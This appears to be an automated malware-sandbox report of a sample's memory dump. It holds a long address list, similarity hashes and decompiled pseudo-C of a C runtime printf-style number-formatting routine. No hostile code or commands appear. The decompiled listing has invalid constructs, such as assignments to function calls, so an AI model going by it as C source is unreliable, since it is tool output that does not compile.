0x0043519a
0x0043519d
0x0043519f
0x004351a5
0x004351ae
0x004351b3
0x004351d0
0x004351d3
0x004351d3
0x004351d8
0x004351dd
0x004351dd
0x004351e3
0x004351e5
0x004351eb
0x004351f1
0x004351f1
0x004351fa
0x004351fa
0x004351e3
0x00435200
0x00435204
0x00435212
0x00435215
0x00435218
0x0043521f
0x00435221
0x00435221
0x00435206
0x00435206
0x00435206
0x0043522e
0x0043522e
0x00435234
0x00435236
0x00435236
0x0043523d
0x00435240
0x00435243
0x00435243
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00435253
0x00435259
0x00435259
0x0043525f
0x004352dc
0x004352df
0x004352e2
0x004352e5
0x004352e8
0x004352eb
0x004352f1
0x004352f1
0x004352f7
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x0043532c
0x0043532f
0x0043532f
0x00435332
0x00435337
0x00435337
0x0043533c
0x0043534e
0x0043534e
0x00435351
0x00435363
0x00435363
0x00435366
0x00435368
0x0043536c
0x0043536c
0x00435353
0x00435353
0x00435357
0x00435357
0x0043533e
0x0043533e
0x00435342
0x00435342
0x0043533c
0x00435376
0x00435379
0x0043537c
0x00435385
0x00435385
0x00435388
0x0043538a
0x00435391
0x00435395
0x0043539e
0x004353a3
0x004353a6
0x004353ad
0x004353b1
0x004353b5
0x004353c1
0x004353c4
0x004353c4
0x004353c7
0x004353cc
0x004353cc
0x004353cf
0x004353d1
0x004353d8
0x004353dc
0x004353e5
0x004353ea
0x004353cf
0x004353ed
0x004353f1
0x004354c5
0x004354c5
0x004354cc
0x004354d0
0x004354d4
0x004354d8
0x00000000
0x004353f7
0x004353f7
0x004353f7
0x004353fb
0x00000000
0x00000000
0x00435401
0x00435401
0x0043540b
0x0043540e
0x00435414
0x00435417
0x0043541d
0x0043541d
0x0043541d
0x00435429
0x0043542c
0x00435432
0x00435434
0x00000000
0x00000000
0x0043543a
0x0043543a
0x00435443
0x0043544a
0x00435454
0x0043545b
0x0043546a
0x00435476
0x00435479
0x0043547f
0x00435486
0x00435491
0x00435491
0x00000000
0x00435491
0x00435488
0x00435488
0x0043548f
0x0043549d
0x0043549d
0x004354a4
0x004354a8
0x004354b6
0x00000000
0x004354bb
0x00000000
0x0043548f
0x004354c3
0x004354e0
0x004354e0
0x004354e7
0x004354ec
0x004354ec
0x004354ef
0x004354f1
0x004354f8
0x004354fc
0x00435505
0x0043550a
0x004354ef
0x004354e7
0x0043550d
0x0043550d
0x00435511
0x00435519
0x00435521
0x00435521
0x00435528
0x00435528
0x004345ff
0x00434605
0x00434612
0x00434617
0x00000000
0x0043462a
0x00434634
0x0043465b
0x00434642
0x00434653
0x00434653
0x00434634
0x00434665
0x0043466b
0x00434677
0x0043467a
0x00434688
0x0043468b
0x00434698
0x0043473d
0x00434743
0x00434749
0x00434750
0x00000000
0x00000000
0x00434756
0x0043475c
0x00000000
0x00434763
0x00434763
0x0043477b
0x00434780
0x00434783
0x00434785
0x0043483f
0x00434852
0x00434857
0x00000000
0x0043478b
0x0043479e
0x004347a3
0x004347a9
0x004347ab
0x004347b4
0x004347b4
0x004347b7
0x004347c3
0x004347c7
0x004347cd
0x004347cf
0x004347d4
0x004347d6
0x004347db
0x004347e0
0x004347e2
0x004347e7
0x004347ea
0x004347ed
0x004347ef
0x004347ef
0x004347ed
0x004347f0
0x004347f0
0x004347f7
0x00000000
0x004347f9
0x004347fe
0x0043481a
0x00434822
0x0043482f
0x00434834
0x00000000
0x00434834
0x004347f7
0x00000000
0x0043485f
0x0043485f
0x00434866
0x00434869
0x0043486c
0x0043486f
0x00434872
0x00434875
0x00434878
0x0043487f
0x00434886
0x00000000
0x00000000
0x00434892
0x00434892
0x00434899
0x004348a5
0x004348a8
0x004348ae
0x004348b5
0x00000000
0x00000000
0x004348b7
0x004348b7
0x004348bd
0x004348bd
0x004348c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434907
0x00434907
0x0043490e
0x00434911
0x0043493b
0x0043493e
0x0043493e
0x00434941
0x00434948
0x00434948
0x0043494c
0x00434913
0x00434913
0x0043491f
0x00434922
0x00434926
0x00434928
0x0043492b
0x0043492b
0x0043492e
0x00434934
0x00434936
0x00434936
0x00434939
0x00000000
0x00000000
0x00434954
0x00434954
0x00000000
0x00000000
0x00434960
0x00434960
0x00434967
0x0043496a
0x0043498a
0x0043498d
0x0043498d
0x00434997
0x00434997
0x0043499b
0x0043496c
0x0043496c
0x00434978
0x0043497b
0x0043497f
0x00434981
0x00434981
0x00434988
0x00000000
0x00000000
0x004349a3
0x004349a3
0x004349aa
0x004349b6
0x004349b9
0x004349bf
0x004349c6
0x00434ad9
0x00000000
0x00434ad9
0x004349cc
0x004349cc
0x004349d2
0x004349d2
0x004349d9
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a15
0x00434a18
0x00434a40
0x00434a40
0x00434a43
0x00434a46
0x00434a49
0x00434a6e
0x00434a6e
0x00434a71
0x00434a74
0x00434a77
0x00434ab0
0x00434ac1
0x00000000
0x00434ac1
0x00434a79
0x00434a79
0x00434a7c
0x00434a7f
0x00434a82
0x00000000
0x00000000
0x00434a84
0x00434a84
0x00434a87
0x00434a8a
0x00434a8d
0x00000000
0x00000000
0x00434a8f
0x00434a8f
0x00434a92
0x00434a95
0x00434a98
0x00000000
0x00000000
0x00434a9a
0x00434a9a
0x00434a9d
0x00434aa0
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aa5
0x00434aa8
0x00434aab
0x00434aae
0x00434ab2
0x00000000
0x00434ab2
0x00000000
0x00434aae
0x00434a4b
0x00434a4b
0x00434a4e
0x00434a52
0x00434a55
0x00000000
0x00434a57
0x00434a5a
0x00434a5d
0x00434a60
0x00434a63
0x00434a69
0x00000000
0x00434a69
0x00434a55
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a21
0x00434a24
0x00000000
0x00434a26
0x00434a29
0x00434a2c
0x00434a2f
0x00434a32
0x00434a38
0x00000000
0x00434a38
0x00000000
0x00434ac3
0x00434ac6
0x00434ac9
0x00000000
0x00000000
0x004349e0
0x004349e0
0x004349e3
0x004349e6
0x004349e9
0x00434a01
0x00434a04
0x00434a04
0x00434a07
0x004349eb
0x004349ee
0x004349f1
0x004349f7
0x004349fc
0x004349fc
0x00000000
0x00000000
0x00434ace
0x00434ace
0x00434ad1
0x00434ad1
0x00434ad6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ade
0x00434ade
0x00434ae5
0x00434af1
0x00434af4
0x00434afa
0x00434b01
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00434b07
0x00434b0d
0x00434b0d
0x00434b14
0x00000000
0x00434e6e
0x00434e6e
0x00434e75
0x00434e7c
0x00434e7c
0x00434e7f
0x00000000
0x00000000
0x00434b1b
0x00434b1e
0x00434b1e
0x00434b24
0x00434b26
0x00434b29
0x00434b29
0x00434b2e
0x00434b2e
0x00000000
0x00000000
0x00434c5b
0x00434c5e
0x00434c5e
0x00434c63
0x00434c65
0x00434c68
0x00434c68
0x00434c6e
0x00434c6e
0x00000000
0x00000000
0x0043503b
0x0043503b
0x00000000
0x00000000
0x00434bc5
0x00434bc5
0x00434bd1
0x00434bd7
0x00434bde
0x00434bec
0x00434bec
0x00434bf2
0x00434bf5
0x00434c01
0x00434c56
0x00000000
0x00434c56
0x00434be0
0x00434be0
0x00434be6
0x00434bea
0x00434c06
0x00434c09
0x00434c09
0x00434c0f
0x00434c37
0x00434c3e
0x00434c44
0x00434c47
0x00434c4a
0x00434c50
0x00434c53
0x00434c11
0x00434c11
0x00434c17
0x00434c1a
0x00434c1d
0x00434c23
0x00434c26
0x00434c29
0x00434c2b
0x00434c2e
0x00434c2e
0x00000000
0x00434c0f
0x00000000
0x00000000
0x00434e85
0x00434e88
0x00434e8b
0x00434e8e
0x00434e94
0x00434e97
0x00434e9e
0x00434ea2
0x00434ead
0x00434ead
0x00434eb1
0x00434ec8
0x00434ec8
0x00434ecf
0x00434ed1
0x00434ed1
0x00434ed8
0x00434ed8
0x00434edf
0x00434ef0
0x00434eff
0x00434f02
0x00434f06
0x00434f1c
0x00434f08
0x00434f08
0x00434f0b
0x00434f11
0x00434f17
0x00434f17
0x00434f06
0x00434f26
0x00434f29
0x00434f2c
0x00434f2f
0x00434f32
0x00434f35
0x00434f3b
0x00434f41
0x00434f49
0x00434f4a
0x00434f4d
0x00434f4e
0x00434f51
0x00434f52
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f68
0x00434f69
0x00434f77
0x00434f79
0x00434f7f
0x00434f7f
0x00434f85
0x00434f87
0x00434f8b
0x00434f8d
0x00434f95
0x00434f96
0x00434f99
0x00434f9a
0x00434fa8
0x00434faa
0x00434faa
0x00434f8b
0x00434fad
0x00434fb4
0x00434fb7
0x00434fbc
0x00434fbc
0x00434fc2
0x00434fc4
0x00434fcc
0x00434fcd
0x00434fd0
0x00434fd1
0x00434fe0
0x00434fe2
0x00434fe2
0x00434fc2
0x00434fe5
0x00434fe8
0x00434feb
0x00434fee
0x00434ff3
0x00434ff9
0x00434ffc
0x00434fff
0x00434fff
0x00435002
0x00435002
0x00435005
0x00435011
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00435322
0x00434eb3
0x00434eb3
0x00434eba
0x00434ebd
0x00000000
0x00000000
0x00434ebf
0x00434ebf
0x00000000
0x00434ebf
0x00434ea4
0x00434ea4
0x00000000
0x00000000
0x00434b31
0x00434b34
0x00434b34
0x00434b3a
0x00434b95
0x00434b9d
0x00434ba4
0x00434baa
0x00434bb0
0x00434b3c
0x00434b3c
0x00434b46
0x00434b4a
0x00434b52
0x00434b59
0x00434b66
0x00434b6d
0x00434b79
0x00434b7f
0x00434b86
0x00434b88
0x00434b88
0x00434b8f
0x00434bb7
0x00434bbd
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00435019
0x0043501c
0x0043501f
0x00435022
0x00000000
0x00000000
0x00434d77
0x00434d77
0x00434d83
0x00434d89
0x00434d8e
0x00434d90
0x00434e3a
0x00434e3d
0x00434e3d
0x00434e40
0x00434e54
0x00434e5a
0x00434e60
0x00434e42
0x00434e42
0x00434e4f
0x00434e4f
0x00434e62
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00434d96
0x00434d96
0x00434d96
0x00434d98
0x00434da6
0x00434d9a
0x00434d9a
0x00434d9a
0x00434db0
0x00434db6
0x00434dbc
0x00434dc3
0x00434dc5
0x00434dca
0x00434dcc
0x00434dd1
0x00434dd6
0x00434dd8
0x00434ddd
0x00434de0
0x00434de3
0x00434de5
0x00434de5
0x00434de3
0x00434de6
0x00434ded
0x00434e35
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00434def
0x00434def
0x00434df4
0x00434e10
0x00434e18
0x00434e22
0x00434e25
0x00434e2a
0x00000000
0x00434e2a
0x00000000
0x0043507c
0x0043507c
0x00435086
0x00435086
0x0043508c
0x0043508e
0x00435091
0x00435091
0x00435097
0x00435097
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434c71
0x00434c71
0x00434c75
0x00434c83
0x00434c86
0x00434c77
0x00434c77
0x00434c77
0x00434c8c
0x00434c92
0x00434c98
0x00434ca4
0x00434caa
0x00434caa
0x00434cb0
0x00434d17
0x00434d17
0x00434d1b
0x00434d1d
0x00434d23
0x00434d23
0x00434d26
0x00434d29
0x00434d2f
0x00434d2f
0x00434d2f
0x00434d3b
0x00434d3e
0x00434d44
0x00434d46
0x00000000
0x00000000
0x00434d48
0x00434d48
0x00434d4e
0x00434d51
0x00434d53
0x00000000
0x00000000
0x00434d55
0x00434d5b
0x00434d5e
0x00434d5e
0x00434d66
0x00434d66
0x00434d6c
0x00434d6c
0x00434d6f
0x00000000
0x00434cb2
0x00434cb2
0x00434cb2
0x00434cb6
0x00434cb8
0x00434cbd
0x00434cbd
0x00434cc0
0x00434cc7
0x00434cca
0x00434cd0
0x00434cd0
0x00434cd0
0x00434cdc
0x00434cdf
0x00434ce5
0x00434ce7
0x00000000
0x00000000
0x00434ce9
0x00434ce9
0x00434cef
0x00434cf2
0x00434cf4
0x00000000
0x00000000
0x00434cf6
0x00434cfc
0x00434cff
0x00434cff
0x00434d07
0x00434d0d
0x00434d10
0x00434d12
0x00434d72
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00000000
0x0043502b
0x0043502b
0x0043509a
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x00000000
0x00000000
0x00000000
0x00435176
0x00000000
0x00435047
0x00435047
0x00435051
0x00435051
0x0043505b
0x0043505b
0x00435061
0x00435063
0x0043506d
0x0043506d
0x00435070
0x00435073
0x00435073
0x0043509a
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x00000000
0x00000000
0x00000000
0x00435176
0x00000000
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00000000
0x004348e1
0x004348e4
0x004348e7
0x00000000
0x00000000
0x004348ec
0x004348ef
0x004348f4
0x00000000
0x00000000
0x004348d6
0x004348d6
0x004348d9
0x004348dc
0x00000000
0x00000000
0x004348cb
0x004348ce
0x004348d1
0x00000000
0x00000000
0x004348f9
0x004348f9
0x004348fc
0x004348fc
0x004348ff
0x00000000
0x00000000
0x00434902
0x00000000
0x00000000
0x0043469e
0x004346a0
0x004346ae
0x004346a2
0x004346a2
0x004346a2
0x004346b8
0x004346be
0x004346cb
0x004346cd
0x004346d2
0x004346d4
0x004346d9
0x004346de
0x004346e0
0x004346e5
0x004346eb
0x004346ed
0x004346ed
0x004346eb
0x004346ee
0x004346f5
0x00000000
0x004346f7
0x004346fc
0x00434718
0x00434720
0x0043472d
0x00434732
0x004355f1
0x004355fe
0x004355fe
0x004346f5
0x00434698
0x0043552d
0x0043552d
0x00435534
0x0043554b
0x0043554b
0x00435555
0x00435555
0x0043555b
0x00435561
0x00435568
0x0043556a
0x0043556f
0x00435571
0x00435576
0x0043557b
0x0043557d
0x00435582
0x00435585
0x00435588
0x0043558a
0x0043558a
0x00435588
0x0043558b
0x00435592
0x004355dd
0x004355e6
0x004355eb
0x00435594
0x00435599
0x004355b5
0x004355bd
0x004355ca
0x004355cf
0x004355cf
0x00000000
0x00435592
0x00435536
0x00435536
0x0043553d
0x00000000
0x00000000
0x0043553f
0x0043553f
0x00000000
0x0043553f
0x00435322
0x004352f9
0x004352f9
0x004352fd
0x0043530a
0x0043530d
0x00435310
0x00435313
0x00435316
0x00435319
0x0043531c
0x0043531c
0x0043531f
0x00000000
0x0043531f
0x004352ff
0x004352ff
0x00435302
0x00435305
0x00435308
0x00000000
0x00000000
0x00000000
0x00435308
0x00435261
0x00435261
0x00435264
0x00435267
0x0043526e
0x00435275
0x0043527d
0x00435283
0x00435286
0x00435289
0x00435290
0x0043529c
0x004352a2
0x004352a8
0x004352af
0x004352b1
0x004352b7
0x004352b7
0x004352bd
0x004352bd
0x004352c3
0x004352c6
0x004352cc
0x004352d1
0x004352d4
0x00435243
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00000000
0x00435251
0x00435243
0x00435183
0x00435183
0x0043518a
0x00000000
0x00000000
0x00000000
0x004351b8
0x004351b8
0x004351be
0x004351c4
0x004351ca
0x00000000
0x004351ca
0x0043509a
0x00435051
0x0043503b

APIs

_get_int64_arg.LIBCMTD ref: 004350A8
__aullrem.LIBCMT ref: 00435275
__aulldiv.LIBCMT ref: 00435297

Strings

9, xrefs: 004352A8
0, xrefs: 00435063

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction ID: a90083897067de1845be7b76fc0397a3e6cfd8d2678bfe328aa5b1b74073d3c3
Opcode Fuzzy Hash: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction Fuzzy Hash: 2541F671D06629DFEF24CF98C889BAEB7B5BB48304F2495DAD408A7240C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427DC5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427DC5() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *(_t524 - 0x30) = 8;
					while(1) {
						L137:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L139:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L144:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E004283F0(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004283F0(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
												 *(__ebp - 0x2ac) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004283F0(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
										 *(__ebp - 0x2ac) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L161;
								}
								L157:
								__eflags =  *(__ebp - 0x2ac);
								if(__eflags > 0) {
									goto L161;
								}
								L158:
								if(__eflags < 0) {
									L160:
									 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
									__edx =  *(__ebp - 0x2ac);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
									 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L162:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2b8);
											__eax =  *(__ebp - 0x2b4);
											__eax =  *(__ebp - 0x2b4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2b4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										L173:
										 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
											L177:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L181:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L207;
													}
													L182:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004357B0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E004357F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2bc);
															__eax = E004357B0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L203:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E004357F0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L204;
													} else {
														L195:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L203;
														}
														L196:
														 *(__ebp - 0x2d4) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
														while(1) {
															L197:
															__ecx =  *(__ebp - 0x2c4);
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L198:
															__eax =  *(__ebp - 0x2c0);
															 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
															__edx =  *(__ebp - 0x316) & 0x0000ffff;
															__eax = __ebp - 0x2d0;
															__ecx = __ebp - 0x2c8;
															 *(__ebp - 0x2d4) = E004342C0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
